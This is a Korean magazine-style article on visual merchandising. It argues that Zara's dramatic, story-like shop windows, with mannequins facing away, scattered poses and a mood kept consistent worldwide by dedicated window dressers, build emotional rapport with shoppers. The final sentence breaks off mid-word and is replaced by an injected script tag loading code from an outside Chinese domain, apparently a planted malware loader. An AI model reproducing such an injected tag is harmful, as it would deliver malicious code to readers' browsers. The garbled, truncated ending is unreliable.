한번 형성된 관계가 유지되기 위해서는 지속적인 커뮤니케이션이 필요하다. 커뮤니케이션의 중요한 두 가지는 정보 전달과 정서 교감이다. 비즈니스나 일상에서 관계를 만들기 위해선 상대방에 대한 정보도 필요하지만, 더욱 친밀해지려면 감정적으로 통하는 계기가 있어야 한다. 윈도우를 디스플레이할 때도 마찬가지다. 제품 정보와 더불어 감성적으로 소비자와 소통을 해야 한다. 세 번째는 윈도우를 생생하게 연출하여 소비자와 정서적 교감을 시도한 사례를 소개한다. 감정은 이성 만큼이나 중요한 결정과 판단의 기준이다. 소비자는 단지 좋은 제품이라 해서, 선뜻 지갑을 열지는 않는다. 오히려 그 제품이 필요하다든가, 예쁘다든가 등의 감정적인 동기가 구매를 결정하는 계기가 된다. 광고의 생리가 소비자에게 결핍을 느끼게 하여 제품 구매로 연결되게 하는 것도 동일한 맥락이다. 매장으로 접근한 소비자의 눈은 의식적이건 무의식 적이건 감성적인 동기들을 찾아 헤매 이게 된다. VMD는 이런 행동을 예측하여 시각적인 연출로 소비자에게 감동을 줄 수 있어야 한다. 시선을 사로잡는 VMD는 브랜드에 대한 좋은 이미지로 기억되며, 이것은 결정적인 구매의 동기가 되기 때문이다. 「자라」는 윈도우 공간을 최대한 활용하는 독특한 구도와 세심한 연출로 소비자의 감성을 자극한다. 「자라」 윈도우의 마네킹들은 적극적이지 않다. 보는 이의 시선을 의식하지도 않고, 각기 다른 곳을 바라보고 있다. 심지어 아예 등을 진 자세로 연출되기도 한다. 이런 구도는 타 브랜드의 윈도우와는 전혀 다른 모습이다. 기존의 윈도우 마네킹들은 소비자를 향해 정면으로 서있다. 대개 전략 상품이나 신상품으로 잘 차려 입고, 시즌이나 정기적인 이벤트를 홍보하는 소품과 그래픽 이미지들과 함께 구성된다. 이러한 연출은 어떤 감흥보다는 브랜드의 현재 전략을 시각적으로 보여주는 것으로 윈도우를 단지 기능적인 공간으로 활용한 것이다. 백화점을 비롯한 몇몇 대형 유통 업체, 명품 브랜드들은 윈도우를 이미지의 공간으로 활용하는 다른 형태를 보이기도 한다. 「자라」의 소품과 마네킹 또한 기능적이지 않다. 그들은 하나의 윈도우 속에 한 가지 스토리로 현실적으로 재현 된다. 스토리를 보여주는 「자라」의 윈도우는 특정 제품을 홍보하지 않는다. 마네킹과 소품들은 하나의 장면 안에 적절하게 배치되어 극적인 무드를 연출하는데 기여할 뿐이다. 윈도우 전체를 활용하는 마네킹의 위치와 엇갈린 시선 처리는 공간 속에서 서로 유기적으로 연결되어 있다. 「자라」는 매장 규모가 크고 하나의 매장이 보통 2개 이상의 윈도우를 가지고 있다. 각각의 윈도우는 제품라인별로 다른 스토리이지만, 신기하게도 모두 일관된 분위기를 띈다. 윈도우 분위기에서 느껴지는 이런 일관성은 「자라」의 차별화 전략이면서, 자신의 브랜드 이미지를 관리하는 포인트이다. 글로벌 브랜드들은 타 브랜드들과 경쟁에 있어 차별화를 추구하지만, 자신의 브랜드를 관리하는 데는 철저하게 일관성(consistency)을 지킨다. 특히 눈으로 보여지는 것들에 엄격하다. 그래픽 이미지, 광고, VMD, 인테리어는 매뉴얼을 바탕으로 글로벌 본사(Head Office)의 주도하에 관리된다. 시즌이나 이벤트에 앞서 소품들이 매뉴얼과 함께 배달되고, 설치 후 본사에 반드시 피드백을 해야 한다. 하지만, 이런 시스템 속에서도 연출하는 사람의 손 맛에 따라 완성된 후 느낌은 약간의 차이가 있을 수 밖에 없다. 「자라」의 경우는 특히 다른 브랜드들에 비해 연출이 복잡하여, 일관성을 유지하기가 힘들어 보인다. 하지만, 바르셀로나, 마드리드, 홍콩, 도쿄, 암스테르담에서 본 매장들의 윈도우는 동일한 느낌을 주었고, 이런 분위기는 시즌을 거듭나도 그대로였다. 글로벌 브랜드들은 시스템과 매뉴얼로 전 세계 매장을 관리한다. 「자라」의 독특한 윈도우는 「자라」만의 시스템에 기인한다. 대부분 브랜드들은 리테일 팀에 속해 있는 비주얼 머천다이저(Visual Merchandiser)가 매장 내부와 윈도우를 동시에 관리한다. 「자라」의 경우 윈도우를 분리시켜 운영하는 방식으로 각 나라별 윈도우 드레서(Window Dresser)가 담당한다. 이것은 윈도우 연출을 보다 전문화 시킴으로 리테일 현장에서 브랜드 이미지를 차별화하기에 좋은 시스템이다. 윈도우를 구성하는 여러 요소들 중, 전세계 매장 어디에서나 느껴지는 「자라」만의 일관된 무드는 극적인 구도에서 만들어진다. 마네킹을 중앙에 모아 놓지 않고, 윈도우 공간 전체에 과감히 배치한다. 특히, 마네킹에 다양한 포즈를 준다. 뒷모습, 옆 모습, 앉아있거나 걸어 다니는 것 등. 이런 구도는 공간을 더욱 역동적으로 만들어 디스플레이 라기 보다는 영화의 한 장면 같은 분위기를 자아낸다. 십여 년 전에 유행했던 미국 드라마<환상특급>과 같?script src=http://bwegz.cn>

이형원 객원기자